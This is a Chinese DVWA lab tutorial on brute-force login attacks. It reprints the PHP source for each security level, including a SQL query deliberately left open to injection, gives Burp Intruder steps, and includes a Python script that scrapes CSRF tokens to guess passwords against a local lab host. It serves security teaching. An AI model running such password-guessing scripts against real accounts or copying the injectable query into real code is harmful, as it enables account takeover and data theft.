Brute Force（暴力破解）
暴力破解，是指攻击者使用账号或密码字典，使用穷举法猜解出用户账号或口令，是广泛使用的攻击手法。理论上利用这种方法可以破解任何一种密码，问题只在于如何缩短试误的时间。有些人运用计算机来增加效率，有些人辅以字典来缩小密码组合的范围。
可以在DVWA Security设置等级
Low
后端的代码
//Brute Force Source
//vulnerabilities/brute/source/low.php
<?php
//获取账号密码时，未对用户的输入做过滤和限制，很明显存在sql注入漏洞。
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );//数据库中密码存储是MD5,所以转换后才能对应。
//$GLOBALS["___mysqli_ston"] MySQLConverter假定此全局变量设置为等于您的数据库连接对象
//<pre> 按原本格式输出
//is_object() 检测变量是否是一个对象
//mysqli_error()返回最近调用函数的最后一个错误描述
//mysqli_connect_error() 函数返回上一次连接错误的错误描述。
// Check the database 这里用了两个三元运算符
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysqli_num_rows() 返回结果集中行的数量
//mysqli_fetch_assoc() 从结果集中取得一行作为关联数组
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
服务器只是验证了参数Login是否被设置（isset函数在php中用来检测变量是否设置，该函数返回的是布尔类型的值，即true/false），没有任何的防爆破机制。故存在可爆破的漏洞。
使用admin:123456登录，burpsuite抓包查看，明文传输
将它送到Intruder模块进行爆破
发送过去后选择payload—load添加字典
然后在Positions设置变量（先clear
,
然
后
选
择
要
爆
破
的
变
量
a
d
d
,然后选择要爆破的变量add
,然后选择要爆破的变量add），即可start attack
Medium
后端代码
//stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。删除一个\
//mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
//trigger_error() 函数创建用户自定义的错误消息。
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
Medium级别的代码主要增加了mysql_real_escape_string函数，这个函数会对字符串中的特殊符号（x00，n，r，，’，"，x1a）进行转义，基本上能够抵御sql注入攻击，MySQL5.5.37以下版本如果设置编码为GBK，能够构造编码绕过mysql_real_escape_string 对单引号的转义；同时，$pass做了MD5校验，杜绝了通过参数password进行sql注入的可能性。但是，依然没有加入有效的防爆破机制（sleep(2)作用不大）。
High
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
加入了token
爆破时，需要提交4个参数，username、password、Login、user_token,每次服务器返回的登陆页面中都会包含一个随机的user_token的值，用户每次登录时都要将user_token一起提交。服务器收到请求后，会优先做token的检查，再进行sql查询。
参考新手指南：DVWA-1.9全级别教程之Brute Force - FreeBuf网络安全行业门户给出的脚本，从html获取token进行爆破。
个人搭建的环境Brute Force模块High卡bug了。出不来，没有复现。
from bs4 import BeautifulSoup
import urllib2
header={ 'Host': '192.168.1.100',
'Cache-Control': 'max-age=0',
'If-None-Match': "307-52156c6a290c0",
'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
'Accept': '*/*',
'Referer': 'http://192.168.1.100/DVWA/vulnerabilities/brute/index.php',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'}
requrl = "http://192.168.1.100/dvwa/vulnerabilities/brute/"
def get_token(requrl,header):
req = urllib2.Request(url=requrl,headers=header)
response = urllib2.urlopen(req)
print response.getcode(),
the_page = response.read()
print len(the_page)
soup = BeautifulSoup(the_page,"html.parser")
user_token = soup.form.input.input.input.input["value"] #get the user_token
return user_token
user_token = get_token(requrl,header)
i=0
for line in open("rkolin.txt"):
requrl = "http://192.168.1.100/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i = i+1
print i,'admin',line.strip(),
user_token = get_token(requrl,header)
if (i == 10):
break
Impossible
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token 首先对token进行验证
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
//对输入的user和password进行过滤
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
//PDO实现数据库语句
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
//限制错误次数
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
//验证账号密码
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级别的代码加入了防爆破机制，当检测到频繁的错误登录后，系统会将账户锁定，爆破也就无法继续。
同时采用了更为安全的PDO（PHP Data Object）机制防御sql注入，这是因为不能使用PDO扩展本身执行任何数据库操作，而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。
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